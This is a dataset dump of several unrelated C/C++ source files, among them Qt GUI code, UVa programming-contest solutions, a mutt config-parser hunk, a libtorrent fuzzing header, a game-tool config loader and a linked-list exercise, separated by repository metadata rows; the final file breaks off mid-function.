//dock->setMaximumHeight(600);
dock->setFeatures(QDockWidget::DockWidgetClosable | QDockWidget::DockWidgetMovable);
dock->setAllowedAreas(Qt::LeftDockWidgetArea | Qt::RightDockWidgetArea);
QItemPanel *itemPanel = new QItemPanel();
QWidget *centerOfGravity = new QWidget();
QWidget *characteristics = new QWidget();
QWidget *centerOfTrimAngle = new QWidget();
QFormLayout *centerOfGravityForm = new QFormLayout();
QFormLayout *characteristicsForm = new QFormLayout();
QFormLayout *centerOfTrimAngleForm = new QFormLayout();
QHBoxLayout *speedBoxLayout = new QHBoxLayout();
QComboBox *CGUnit = new QComboBox;
CGUnit->addItem(tr("m(meter)"));
CGUnit->addItem(tr("ft(foot)"));
CGUnit->addItem(tr("in(inch)"));
CGUnit->addItem(tr("yd(yard)"));
CGUnit->addItem(tr("mi(mile)"));
QComboBox *characterUnit = new QComboBox();
characterUnit->addItem(tr("m(meter)"));
characterUnit->addItem(tr("ft(foot)"));
characterUnit->addItem(tr("in(inch)"));
characterUnit->addItem(tr("yd(yard)"));
characterUnit->addItem(tr("mi(mile)"));
QComboBox *speedUnit = new QComboBox;
speedUnit->addItem(tr("m/s(meter/sec)"));
speedUnit->addItem(tr("m/min(meter/minute)"));
speedUnit->addItem(tr("km/h(kilometer/hour)"));
speedUnit->addItem(tr("in/s(inch/sec)"));
speedUnit->addItem(tr("ft/s(foot/sec)"));
speedUnit->addItem(tr("yd/min(foot/minute)"));
speedUnit->addItem(tr("yd/s(yard/sec)"));
speedUnit->addItem(tr("yd/min(yard/minute)"));
speedUnit->addItem(tr("yd/s(yard/sec)"));
speedUnit->addItem(tr("mi/min(mile/min)"));
speedUnit->addItem(tr("mi/h(mile/hour)"));
speedUnit->addItem(tr("kn,kt(knot)"));
speedUnit->addItem(tr("kt[UK](knot)"));
centerOfGravityForm->addRow(tr("Unit"),CGUnit);
//centerOfGravityForm->addRow(centerOfGravityLabel);
centerOfGravityForm->addRow(tr("Horizonal"),lc);
//lc->setValidator(new QDoubleValidator(this));
centerOfGravityForm->addRow(tr("Vertical"),vc);
//characteristicsForm->addRow(characteristicsLabel);
characteristicsForm->addRow(tr("Length Unit"),characterUnit);
characteristicsForm->addRow(tr("Chine beam length"),cb);
characteristicsForm->addRow(tr("Deadrise Angle"),da);
speedBoxLayout->addWidget(speed);
speedBoxLayout->addWidget(speedUnit);
characteristicsForm->addRow(tr("Speed (ft/s)"),speedBoxLayout);
characteristicsForm->addRow(tr("Weight"),tw);
//centerOfTrimAngleForm->addRow(centerOfTrimAngleLabel);
centerOfTrimAngleForm->addRow(tr("First"),ta_one);
centerOfTrimAngleForm->addRow(tr("Second"),ta_two);
centerOfTrimAngleForm->addRow(tr("Third"),ta_three);
centerOfGravity->setLayout(centerOfGravityForm);
characteristics->setLayout(characteristicsForm);
centerOfTrimAngle->setLayout(centerOfTrimAngleForm);
itemPanel->addItem(centerOfGravity, tr("Center of Gravity"));
itemPanel->addItem(characteristics, tr("Characteristics"));
itemPanel->addItem(centerOfTrimAngle, tr("Trim Angle"));
dock->setWidget(itemPanel);
addDockWidget(Qt::RightDockWidgetArea, dock);
connect(tw, SIGNAL(valueChanged(double)), this, SLOT(calculation()));
connect(lc, SIGNAL(valueChanged(double)), this, SLOT(calculation()));
connect(vc, SIGNAL(valueChanged(double)), this, SLOT(calculation()));
connect(cb, SIGNAL(valueChanged(double)), this, SLOT(calculation()));
connect(da, SIGNAL(valueChanged(double)), this, SLOT(calculation()));
connect(speed, SIGNAL(valueChanged(double)), this, SLOT(calculation()));
connect(ta_one, SIGNAL(valueChanged(double)), this, SLOT(calculation()));
connect(ta_two, SIGNAL(valueChanged(double)), this, SLOT(calculation()));
connect(ta_three, SIGNAL(valueChanged(double)), this, SLOT(calculation()));
////////////////////////////////////////////////////////////////////////////////////////
dock_realtime = new QDockWidget(tr("Realtime data"), this);
dock_realtime->setFeatures(QDockWidget::DockWidgetClosable | QDockWidget::DockWidgetMovable);
dock_realtime->setAllowedAreas(Qt::LeftDockWidgetArea | Qt::RightDockWidgetArea);
addDockWidget(Qt::RightDockWidgetArea, dock_realtime);
////////////////////////////////////////////////////////////////////////////////////////
dock_output = new QDockWidget(tr("Result"), this);
dock_output->setFeatures(QDockWidget::DockWidgetClosable | QDockWidget::DockWidgetMovable);
dock_output->setAllowedAreas(Qt::LeftDockWidgetArea | Qt::RightDockWidgetArea | Qt::BottomDockWidgetArea);
textEdit_output = new QPlainTextEdit;
textEdit_output->setEnabled(false);
dock_output->setWidget(textEdit_output);
addDockWidget(Qt::RightDockWidgetArea, dock_output);
}
CloseButton::CloseButton(QWidget *parent)
: QAbstractButton(parent)
{
setFocusPolicy(Qt::NoFocus);
#ifndef QT_NO_CURSOR
setCursor(Qt::ArrowCursor);
#endif
#ifndef QT_NO_TOOLTIP
setToolTip(tr("Close Tab"));
#endif
resize(sizeHint());
}
QSize CloseButton::sizeHint() const
{
ensurePolished();
int width = style()->pixelMetric(QStyle::PM_TabCloseIndicatorWidth, 0, this);
int height = style()->pixelMetric(QStyle::PM_TabCloseIndicatorHeight, 0, this);
return QSize(width, height);
}
void CloseButton::enterEvent(QEvent *event)
{
if (isEnabled())
update();
QAbstractButton::enterEvent(event);
}
void CloseButton::leaveEvent(QEvent *event)
{
if (isEnabled())
update();
QAbstractButton::leaveEvent(event);
}
void CloseButton::paintEvent(QPaintEvent *)
{
QPainter p(this);
QStyleOption opt;
opt.init(this);
opt.state |= QStyle::State_AutoRaise;
if (isEnabled() && underMouse() && !isChecked() && !isDown())
opt.state |= QStyle::State_Raised;
if (isChecked())
opt.state |= QStyle::State_On;
if (isDown())
opt.state |= QStyle::State_Sunken;
if (const QTabBar *tb = qobject_cast<const QTabBar *>(parent())) {
int index = tb->currentIndex();
QTabBar::ButtonPosition position = (QTabBar::ButtonPosition)style()->styleHint(QStyle::SH_TabBar_CloseButtonPosition, 0, tb);
if (tb->tabButton(index, position) == this)
opt.state |= QStyle::State_Selected;
}
style()->drawPrimitive(QStyle::PE_IndicatorTabClose, &opt, &p, this);
}
|
a40fc0dfa618dd6bbbc23000bbf94531b3a7f6d2
|
ae7ba9c83692cfcb39e95483d84610715930fe9e
|
/yubinbai/pcuva-problems/UVa 10931 parity/sol.cpp
|
570f7f2d25f9f81ee7b64ffe1fb6579d34958aec
|
[] |
no_license
|
xenron/sandbox-github-clone
|
364721769ea0784fb82827b07196eaa32190126b
|
5eccdd8631f8bad78eb88bb89144972dbabc109c
|
refs/heads/master
| 2022-05-01T21:18:43.101664
| 2016-09-12T12:38:32
| 2016-09-12T12:38:32
| 65,951,766
| 5
| 7
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 524
|
cpp
|
sol.cpp
|
#include <iostream>
#include <string>
#include <algorithm>
using namespace std;
int main()
{
long long n, p, r;
int j;
char bin[100];
while (cin >> n)
{
if (n == 0) break;
p = 0;
j = 0;
while (n != 0)
{
r = n % 2;
n = n / 2;
p += r;
bin[j++] = r + 48;
}
bin[j] = '\0';
reverse(bin, bin + j);
cout << "The parity of " << bin << " is " << p << " (mod 2)." << endl;
}
return 0;
}
|
438f92147115da074a158fa713016e3e297d7681
|
0eff74b05b60098333ad66cf801bdd93becc9ea4
|
/second/download/mutt/gumtree/mutt_old_hunk_42.cpp
|
6fa79625e296c361a7bccfb8537c24afe10dbd0f
|
[] |
no_license
|
niuxu18/logTracker-old
|
97543445ea7e414ed40bdc681239365d33418975
|
f2b060f13a0295387fe02187543db124916eb446
|
refs/heads/master
| 2021-09-13T21:39:37.686481
| 2017-12-11T03:36:34
| 2017-12-11T03:36:34
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,402
|
cpp
|
mutt_old_hunk_42.cpp
|
if (p->init)
{
char *s = (char *) p->init;
pp->rx = safe_calloc (1, sizeof (regex_t));
pp->pattern = safe_strdup ((char *) p->init);
if (mutt_strcmp (p->option, "alternates") == 0)
flags |= REG_ICASE;
else if (mutt_strcmp (p->option, "mask") != 0)
flags |= mutt_which_case ((const char *) p->init);
if (mutt_strcmp (p->option, "mask") == 0 && *s == '!')
{
s++;
pp->not = 1;
}
if (REGCOMP (pp->rx, s, flags) != 0)
{
fprintf (stderr, _("mutt_restore_default(%s): error in regexp: %s\n"),
p->option, pp->pattern);
FREE (&pp->pattern);
regfree (pp->rx);
FREE (&pp->rx);
}
}
}
break;
}
if (p->flags & R_INDEX)
set_option (OPTFORCEREDRAWINDEX);
if (p->flags & R_PAGER)
set_option (OPTFORCEREDRAWPAGER);
if (p->flags & R_RESORT_SUB)
set_option (OPTSORTSUBTHREADS);
if (p->flags & R_RESORT)
set_option (OPTNEEDRESORT);
if (p->flags & R_RESORT_INIT)
set_option (OPTRESORTINIT);
}
static int parse_set (BUFFER *tmp, BUFFER *s, unsigned long data, BUFFER *err)
{
int idx, query, unset, inv, reset, r = 0;
char *p, scratch[_POSIX_PATH_MAX];
while (MoreArgs (s))
{
/* reset state variables */
query = 0;
unset = data & M_SET_UNSET;
inv = data & M_SET_INV;
reset = data & M_SET_RESET;
if (*s->dptr == '?')
{
query = 1;
s->dptr++;
}
|
b168f940ede17f057018bf2a834e3a3c6ff7bd55
|
bfb5d48e57876c7863d9a7d1ab03299e608ddc8b
|
/classes/one_way_delay_filter_Driver.cc
|
5911c7c5571cd5ee852bea78fc67677c643aa308
|
[] |
no_license
|
li7/PTP_Click
|
12c54bb7de77dc491de26ab2fe8759de04217fa3
|
fcf441b90d0e51d130d092bc7f6f62269c7e312b
|
refs/heads/master
| 2020-04-15T13:33:56.043581
| 2014-07-08T01:29:24
| 2014-07-08T01:29:24
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 246
|
cc
|
one_way_delay_filter_Driver.cc
|
#include "one_way_delay_filter.h"
#include <iostream>
#include <string.h>
using namespace std;
main()
{
one_way_delay_filter owdf;
cout << owdf << endl;
owdf.set_nsec_prev(5);
owdf.set_y(20);
owdf.set_s_exp(13);
cout << owdf << endl;
}
|
05529c1fa6dbbcf2fb6e09e7d24fdd174d66dbbe
|
653059c1cc2cbab650c6789f7bce956870133592
|
/fuzzers/glue/glue.hpp
|
ea304753e734f31b5bc116eba120a7d267621f2b
|
[] |
no_license
|
pauldreik/fuzzlibtorrent
|
8d56727443b2b323ccba7849250c06e8a0aad0fa
|
0d88f8d798df7dce118602c8692717999c5e72ff
|
refs/heads/master
| 2020-05-02T16:32:24.278262
| 2019-04-02T18:04:19
| 2019-04-02T18:04:19
| 178,071,703
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,087
|
hpp
|
glue.hpp
|
#pragma once
// the idea of this is to have all the
// conversions in one place, so one doesn't
// have to do those ugly casts everywhere
#include "libtorrent/span.hpp"
#include "libtorrent/string_view.hpp"
#include <cstdint>
struct Glue
{
Glue(const std::uint8_t* Data, std::size_t Size)
: m_Data(reinterpret_cast<const char*>(Data))
, m_Size(Size)
{}
Glue(const char* Data, std::size_t Size)
: m_Data(Data)
, m_Size(Size)
{}
const char* const m_Data;
const std::size_t m_Size;
libtorrent::string_view getStringView() const
{
return { getConstChar(), m_Size };
}
const char* getConstChar() const
{
return reinterpret_cast<const char*>(m_Data);
}
libtorrent::span<const char> getSpan() const
{
return { getConstChar(),
static_cast<libtorrent::span<const char>::difference_type>(
m_Size) };
}
const char* First() const { return getConstChar(); }
const char* Last() const { return getConstChar() + m_Size; }
};
// this is what each of the fuzzer targets is to implement
void
Fuzz(Glue glue);
|
4cdb3308694bf057e4d5562095b4ce324f581927
|
cdf92aa3a8a49dc044306c125356cca26910dbda
|
/src4/static/INDI2/oldEIRlibs/eirCore/VariableId.h
|
8d10a115325d6e19c5f93470dbf12c82239174b6
|
[
"MIT"
] |
permissive
|
eirTony/INDI1
|
b7c5d2ba0922a509b32d9d411938ecdc0f725109
|
07fe9eff4fb88c6c2d636c94267ea8734d295223
|
refs/heads/master
| 2020-01-23T21:22:49.833055
| 2016-11-26T07:43:06
| 2016-11-26T07:43:06
| 74,568,244
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 522
|
h
|
VariableId.h
|
#ifndef VARIABLEID_H
#define VARIABLEID_H
#include "eirCore.h"
#include "../eirBase/AbstractIdString.h"
class EIRCORESHARED_EXPORT VariableId : public AbstractIdString
{
public:
VariableId(const QString & inString=QString());
VariableId(const char * chars);
VariableId(const char * chars,
const char * chars1,
const char * chars2=0,
const char * chars3=0);
VariableId(const VariableId & prefix,
const char * suffix);
};
#endif // VARIABLEID_H
|
967e227069445298921c0065c5e97055026c6d12
|
797a7932ab28adc168430698a10d55b387121d3d
|
/plagcheck/a.cpp
|
41919a6240d5a791cf0d099c3b4a3132c5c6754b
|
[] |
no_license
|
Mayur299/DSA-project1
|
7d8dd8decdca8b1188b56b520c6345e8d13b8997
|
354c90c7b358314154c00b1d083f5f1ddcdf9d46
|
refs/heads/master
| 2023-08-30T14:20:41.998215
| 2021-10-06T21:02:42
| 2021-10-06T21:02:42
| 403,146,427
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 840
|
cpp
|
a.cpp
|
#include <cmath>
#include <cstdio>
#include <vector>
#include <iostream>
#include <algorithm>
#include <unordered_map>
using namespace std;
int main() {
/* Enter your code here. Read input from STDIN. Print output to STDOUT */
int n;
cin>>n;
int* arr=new int[n];
int* copy=new int[n];
unordered_map<int,int> m;
int i;
for(i=0;i<n;i++)
{
cin>>arr[i];
copy[i]=arr[i];
m[arr[i]]=i;
}
//unordered_map<int,int>m;
sort(copy,copy+n);
int c=0;
for(i=0;i<n;i++)
{
if(arr[i]!=copy[i])
{
c++;
int k=arr[i];
arr[m[copy[i]]]=arr[i];
m[k]=m[copy[i]];
m[copy[i]]=i;
arr[i]=copy[i];
}
}
cout<<c;
return 0;
}
|
a689d034942239d9b79e960779e8be88cd9026b6
|
80016d10f4a04ec689533e7fce14ef25070fcc31
|
/练习/练习/源.cpp
|
37284ee39d41e05b60cf8cd9a8a762938c4122a8
|
[] |
no_license
|
huoli-knight/Cjiajia_homework
|
d1ab50028d1c9780cc9367444513391093c482bb
|
5e2dd507d9a0f8abeade912c8e03e2309696583b
|
refs/heads/master
| 2022-01-21T08:54:44.631777
| 2019-06-03T15:31:38
| 2019-06-03T15:31:38
| 190,032,944
| 0
| 0
| null | null | null | null |
GB18030
|
C++
| false
| false
| 221
|
cpp
|
源.cpp
|
#include <iostream>
using namespace std;
int main ()
{
char c;
int a(2),b=3;
cout<<a<<b<<a+b<<' '<<'a'<<"adf"<<endl;
cout<<"请输入一个字符:";
cin>>c;
cout<<"请输入一个整数:";
cin>>a;
return 0;
}
|
f61addcb12da606336cdfd0ca5cf7b59ec4e62bb
|
5a703baa6d8e7cecc45e1887bfaac5f3c8f687bc
|
/UNPORTED/quantacore/autocomplete/xmlattributevaluecompletion.cpp
|
687b4b2d65f90953d8a732b413ddfbe42e7210ad
|
[] |
no_license
|
KDE/quanta
|
a3619c39451ae30ca20b93be9dd20cd41f9418ce
|
16166916bba2bda25ea8d3d4b0fbbae413d772b3
|
refs/heads/master
| 2020-05-20T04:06:55.341371
| 2018-12-29T11:23:38
| 2018-12-29T11:23:38
| 42,731,993
| 4
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 6,118
|
cpp
|
xmlattributevaluecompletion.cpp
|
/***************************************************************************
begin : Wed Jul 13 2005
copyright : (C) 2005 by Andras Mantia <amantia@kde.org>
***************************************************************************/
/***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; version 2 of the License. *
* *
***************************************************************************/
#include "xmlattributevaluecompletion.h"
#include "dtdstruct.h"
#include "editorsource.h"
#include "extfileinfo.h"
#include "groupstorage.h"
#include "node.h"
#include "parseresult.h"
#include "tag.h"
#include <QDir>
#include <kurl.h>
#include <ktexteditor/codecompletioninterface.h>
XmlAttributeValueCompletion::XmlAttributeValueCompletion()
: CompletionBase()
{
}
XmlAttributeValueCompletion::~XmlAttributeValueCompletion()
{
}
QList<KTextEditor::CompletionItem>* XmlAttributeValueCompletion::completionEntries()
{
QList<KTextEditor::CompletionItem> *completions = new QList<KTextEditor::CompletionItem>();
KTextEditor::CompletionItem completion;
//FIXME completion.type = "attributeValueCompletion";
QStringList values = tagAttributeValues(m_currentNode->tag->dtd(), m_tagName, m_attributeName);
if (m_attributeName.toLower() == "class")
{
if (values.isEmpty())
{
static const QRegExp selectorRx("\\.|\\#|\\:");
const GroupElementMap *elementMap = m_base->groupStorage->elementMapForGroup("Selectors");
GroupElementMap::ConstIterator it;
for ( it = elementMap->constBegin(); it != elementMap->constEnd(); ++it )
{
QString selectorName = it.key();
QString tmpStr;
int index = selectorName.indexOf(selectorRx);
if (index != -1)
{
tmpStr = selectorName.left(index).toLower();
} else
{
tmpStr = selectorName;
}
if (tmpStr.isEmpty() || m_tagName.toLower() == tmpStr || tmpStr == "*")
{
values << selectorName.mid(index + 1).replace('.',' ');
}
}
}
} else
if (m_attributeName.toLower() == "id")
{
if (values.isEmpty())
{
const GroupElementMap *elementMap = m_base->groupStorage->elementMapForGroup("Selectors");
GroupElementMap::ConstIterator it;
for ( it = elementMap->constBegin(); it != elementMap->constEnd(); ++it )
{
QString selectorName = it.key();
if (selectorName.startsWith('#'))
{
values << selectorName.mid(1);
}
}
}
}
if (!values.isEmpty())
{
QStringList::ConstIterator end(values.constEnd());
for (QStringList::ConstIterator it = values.constBegin(); it != end; ++it )
{
//FIXME completion.text = *it;
if (completion.text().startsWith(m_startsWith))
{
completions->append(completion);
}
}
}
return completions;
}
bool XmlAttributeValueCompletion::isValid(CompletionMode mode)
{
switch (mode)
{
case Forced:
return true;
case Manual:
{
int index = m_currentNode->tag->valueIndexAtPos(m_position.x(), m_position.y());
int bLine, bCol;
if (index != -1) //inside a value
{
m_currentNode->tag->attributeValuePos(index, bLine, bCol);
m_startsWith = m_currentNode->tag->attributeValue(index).left(m_position.y() - bCol);
m_tagName = m_currentNode->tag->name();
m_attributeName = m_currentNode->tag->attribute(index);
return true;
}
break;
}
case Auto:
{
if (m_currentNode->tag->isType(Tag::XmlTag))
{
int index = m_currentNode->tag->attributeIndexAtPos(m_position.x(), m_position.y() - 2);
if (index != -1)
return true;
}
break;
}
}
return false;
}
QStringList XmlAttributeValueCompletion::tagAttributeValues(const DTDStruct* dtd, const QString& tag, const QString &attribute)
{
QStringList values;
if (dtd)
{
QString searchForAttr = (dtd->caseSensitive) ? attribute : attribute.toUpper();
AttributeList* attrs = dtd->tagAttributes(tag);
if (attrs)
{
Attribute *attr;
KUrl u;
KUrl base = m_source->url();
base.setPath(base.directory(KUrl::ObeyTrailingSlash));
QListIterator<Attribute*> it(*attrs);
QString s;
while (it.hasNext())
{
attr = it.next();
QString attrName = (dtd->caseSensitive) ? attr->name : attr->name.toUpper();
if (attrName == searchForAttr)
{
if (attr->type == "url") {
//FIXME: Port to the new KDevelop API!
/*
QuantaProjectIf *project =dynamic_cast<QuantaProjectIf*>( Koncrete::Core::activeProject());
if (project)
{
KUrl projectBase = project->projectBase();
values = project->allFiles();
QStringList::Iterator end = values.end();
for (QStringList::Iterator it = values.begin(); it != end; ++it)
{
//convert the paths to absolute URLs
u = projectBase;
u.addPath(*it);
//convert the paths now to be relative to the current document
u = KUrl::relativeUrl(base, u);
(*it) = u.path();
}
// values->append("mailto:" + project->email());
} else */
{
QDir dir = QDir(m_source->url().directory());
values = dir.entryList();
}
break;
} else {
values = attr->values;
break;
}
}
}
}
}
return values;
}
|
4f2dc7ae52f9c942b253773c217e3bc58be25841
|
95a8ec1f066b71ccdf0bb83a6680e375c3b2038a
|
/XivAlexander/App_ConfigRepository.cpp
|
b6cf445cfedef7362d1c8f1d9ee54685b54285e9
|
[
"Apache-2.0"
] |
permissive
|
anoyetta/XivAlexander
|
12c5e08b7ab6a893653b284cb6fca135f11f953a
|
0b0d5b6880a3c2a3451891d64bc975582ca7f87a
|
refs/heads/main
| 2023-04-21T19:52:09.329963
| 2021-03-28T03:54:16
| 2021-03-28T03:54:16
| 354,757,581
| 1
| 0
|
Apache-2.0
| 2021-04-05T07:44:21
| 2021-04-05T07:44:21
| null |
UTF-8
|
C++
| false
| false
| 4,124
|
cpp
|
App_ConfigRepository.cpp
|
#include "pch.h"
#include "App_ConfigRepository.h"
static
nlohmann::json LowerCaseKeys(const nlohmann::json& json) {
auto result = nlohmann::json::object();
for (auto& item : json.items()) {
std::wstring key = Utils::FromUtf8(item.key());
CharLowerW(&key[0]);
result.emplace(Utils::ToUtf8(key), item.value());
}
return result;
}
App::ConfigRepository::ConfigRepository()
: m_sGamePath(GetGamePath())
, m_sConfigPath(GetConfigPath()) {
}
App::ConfigItemBase::ConfigItemBase(ConfigRepository* pRepository, const char* pszName)
: m_pszName(pszName) {
pRepository->m_allItems.push_back(this);
}
const char* App::ConfigItemBase::Name() const {
return m_pszName;
}
void App::ConfigRepository::Reload(bool announceChange) {
nlohmann::json config;
try {
std::ifstream in(m_sConfigPath);
in >> config;
} catch (std::exception& e) {
App::Misc::Logger::GetLogger().Format(LogCategory::General, "JSON Config load error: %s", e.what());
}
config = LowerCaseKeys(config);
if (config.find(m_sGamePath) == config.end())
config[m_sGamePath] = nlohmann::json::object();
auto& specificConfig = config[m_sGamePath];
m_destructionCallbacks.clear();
bool changed = false;
for (auto& item : m_allItems) {
changed |= item->LoadFrom(specificConfig, announceChange);
m_destructionCallbacks.push_back(item->OnChangeListener([this](ConfigItemBase& item) {
Save();
}));
}
if (changed)
Save();
}
void App::ConfigRepository::SetQuitting() {
m_bSuppressSave = true;
}
std::string App::ConfigRepository::GetGamePath() {
wchar_t path[MAX_PATH];
GetModuleFileName(nullptr, path, MAX_PATH);
CharLowerW(path);
return Utils::ToUtf8(path);
}
std::wstring App::ConfigRepository::GetConfigPath() {
wchar_t configPath[MAX_PATH];
GetModuleFileName(g_hInstance, configPath, MAX_PATH);
wcsncat_s(configPath, L".json", _countof(configPath));
return configPath;
}
void App::ConfigRepository::Save() {
if (m_bSuppressSave)
return;
nlohmann::json config;
try {
std::ifstream in(m_sConfigPath);
in >> config;
} catch (std::exception& e) {
App::Misc::Logger::GetLogger().Format(LogCategory::General, "JSON Config load error: %s", e.what());
}
config = LowerCaseKeys(config);
if (config.find(m_sGamePath) == config.end())
config[m_sGamePath] = nlohmann::json::object();
auto& specificConfig = config[m_sGamePath];
for (auto& item : m_allItems) {
item->SaveTo(specificConfig);
}
try {
std::ofstream out(m_sConfigPath);
out << config.dump(1, '\t');
} catch (std::exception& e) {
App::Misc::Logger::GetLogger().Format(LogCategory::General, "JSON Config save error: %s", e.what());
}
}
std::unique_ptr<App::ConfigRepository> App::ConfigRepository::s_pConfig;
App::ConfigRepository& App::ConfigRepository::Config() {
if (!s_pConfig) {
s_pConfig = std::make_unique<App::ConfigRepository>();
s_pConfig->Reload();
}
return *s_pConfig;
}
void App::ConfigRepository::DestroyConfig() {
s_pConfig = nullptr;
}
bool App::ConfigItem<uint16_t>::LoadFrom(const nlohmann::json& data, bool announceChanged) {
auto i = data.find(Name());
if (i != data.end()) {
uint16_t newValue;
try {
if (i->is_string())
newValue = static_cast<uint16_t>(std::stoi(i->get<std::string>(), nullptr, 0));
else if (i->is_number_integer())
newValue = i->get<uint16_t>();
else
return false;
} catch (std::exception& e) {
App::Misc::Logger::GetLogger().Format(LogCategory::General, "Config value parse error: %s", e.what());
}
if (announceChanged)
this->operator=(newValue);
else
Assign(newValue);
}
return false;
}
void App::ConfigItem<uint16_t>::SaveTo(nlohmann::json& data) const {
data[Name()] = Utils::FormatString("0x%04x", m_value);
}
template<typename T>
bool App::ConfigItem<T>::LoadFrom(const nlohmann::json& data, bool announceChanged) {
auto i = data.find(Name());
if (i != data.end()) {
const auto newValue = i->get<T>();
if (announceChanged)
this->operator=(newValue);
else
Assign(newValue);
}
return false;
}
template<typename T>
void App::ConfigItem<T>::SaveTo(nlohmann::json& data) const {
data[Name()] = m_value;
}
|
e75419a442f00e31e32e9a1980ce574e93d6a2e2
|
f8a1624b062ff53cc4ee592587ec341bc77bf21a
|
/Automaton.h
|
133fa68437239df5d5d785bf7471b162b8ca3eb9
|
[] |
no_license
|
kylegwilliam/Project1_Lexer
|
8efd6dff52acb4e1a4edaa9ad590092bb6cdc224
|
baf514e7ac6d6f230d8cff0e49d00e0019a65cb1
|
refs/heads/master
| 2023-03-22T03:59:50.734092
| 2021-03-10T02:53:52
| 2021-03-10T02:53:52
| 337,579,715
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,370
|
h
|
Automaton.h
|
//
// Created by Kyle Gwilliam on 1/25/21.
//
#ifndef PROJECT1_LEXER_AUTOMATON_H
#define PROJECT1_LEXER_AUTOMATON_H
//#pragma once
#include <string>
#include "Token.h"
using namespace std;
class Automaton {
protected:
int inputRead = 0;
int newLines = 0;
TokenType type;
public:
Automaton(){}
Automaton(TokenType type) {
this->type = type;
}
virtual TokenType getType(){
return type;
}
// Start the automaton and return the number of characters read
// read == 0 indicates the input was rejected
// read > 0 indicates the input was accepted
virtual int Start(const std::string& input) = 0; // not in the right class?
Token* CreateToken(std::string input, int lineNumber) {
//return new Token(TokenType type, string inputChar, int lineNumber);
return new Token(type, input, lineNumber);
}
virtual int NewLinesRead() const {
return newLines;
}
};
//class MatcherAutomaton : public Automaton {
//class StringAutomton : public Automaton { put the logic in automiton.cpp. example is in matcherautomiton.cpp.
//private:
// std::string toMatch;
//public:
// MatcherAutomaton(std::string toMatch, TokenType tokenType);
// int Start(const std::string& input);
// int newLines();
// string createTokens();
//};
#endif //PROJECT1_LEXER_AUTOMATON_H
|
8f0e32956fe1ca9b3f57d361a32b914e08ff8171
|
6847a1a3b4e0178e443a440be3226fd77c072810
|
/linkedListMiddleValue.cpp
|
ccfdcfd98debbdac0c22bd88abf3051d3375acb2
|
[] |
no_license
|
abudaudhossain/data-stracture-cpp
|
af50e4150de0d671add873db4045901730d55bdf
|
26bc6e7ad2b8f4d21e1f52367deb130353d3f192
|
refs/heads/main
| 2023-07-12T16:09:59.689144
| 2021-08-16T08:34:47
| 2021-08-16T08:34:47
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,043
|
cpp
|
linkedListMiddleValue.cpp
|
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
using namespace std;
struct Node{
int data;
struct Node* link;
};
struct Node* head;
void insertValue(int value){
struct Node* new_node = (struct Node*) malloc(sizeof(struct Node));
new_node -> data = value;
new_node -> link = head;
head = new_node;
}
void printList(){
struct Node* temp;
temp = head;
while(temp != NULL){
printf("%d -> ", temp -> data);
temp = temp -> link;
}
printf("NULL \n");
}
void printMiddleValue(){
struct Node* slow_ptr = head;
struct Node* fast_ptr = head;
if(head != NULL){
while(fast_ptr != NULL && fast_ptr -> link != NULL){
fast_ptr = fast_ptr -> link -> link;
slow_ptr = slow_ptr -> link;
}
printf("The middle element is [%d]\n\n", slow_ptr -> data);
}
}
int main(){
head = NULL;
int i;
for(i = 5; i > 0; i--){
insertValue(i);
printList();
printMiddleValue();
}
return 0;
}
|
37f06897a7c83b9326ac8851430cec532bab09c8
|
cf7ae4ac2644daa52e0f7c5ae30c72b66d15fc7f
|
/LegendDataEditor/LegendDataEditor/Sqlite/Data/TDMineRegion.h
|
eb0dd05a399292ddaf270b1770bd65ee116626f6
|
[] |
no_license
|
ZHOURUIH/GameEditor
|
13cebb5037a46d1c414c944b4f0229b26d859fb5
|
eb391bd8c2bec8976c29047183722f90d75af361
|
refs/heads/master
| 2023-08-21T10:56:59.318660
| 2023-08-10T16:33:40
| 2023-08-10T16:33:40
| 133,002,663
| 18
| 21
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 491
|
h
|
TDMineRegion.h
|
#ifndef _TD_MINE_REGION_H_
#define _TD_MINE_REGION_H_
#include "SQLiteData.h"
class TDMineRegion : public SQLiteData
{
public:
static const char* ID;
static const char* MapID;
static const char* MineTile;
static const char* Direction;
public:
int mID;
int mMapID;
Vector2UShort mMineTile;
byte mDirection;
public:
TDMineRegion()
{
registeParam(mID, ID);
registeParam(mMapID, MapID);
registeParam(mMineTile, MineTile);
registeParam(mDirection, Direction);
}
};
#endif
|
7328a3bb7381b9468b65ab4ff2b11e1d7b3ced92
|
4ff8f13b596a80cef79f9133733101a6ee7b63b7
|
/UVa100.cpp
|
0dd89ee375a7220704d45523626ebab732778147
|
[] |
no_license
|
AbhishekTiwari0812/ACM-ICPC
|
7302c9225bd20f9e0d232bc48b3897aade7c2815
|
b7fba600ea7daf81bed103c93ad41e444c0c28ef
|
refs/heads/master
| 2021-01-13T08:02:19.203733
| 2016-10-23T06:03:45
| 2016-10-23T06:03:45
| 71,684,909
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,372
|
cpp
|
UVa100.cpp
|
#include <ctime>
#include <iostream>
#include <cstdlib>
#include <cstdio>
#include <set>
#include <map>
#include <utility>
#include <climits>
#include <cstring>
#include <vector>
#define mp(a,b) make_pair(a,b)
#define rep(i,a,b) for(int i=(int)a;i<(int)b;i++)
#define repmsi(it,m) for(msi::iterator it=(m).begin();it!=m.end();it++)
#define repmii(it,m) for(mii::iterator it=(m).begin();it!=m.end();it++)
#define repvi(i,v) for( vi::iterator i=(v).begin();i!=(v).end();i++)
//add other definitions here!!!
using namespace std;
typedef vector<int> vi;
typedef set<int> si;
typedef long long int ll;
typedef pair<string,int> psi;
typedef pair<int,int> pii;
typedef map<string,int> msi;
typedef map<int,int> mii;
map<ll,ll> answer;
map<ll,ll>::iterator it;
ll compute(ll n){
//printf("n=%lld",n);
if(n==1)
return 1;
if(n&1)
return compute((3*n+1)>>1)+2;
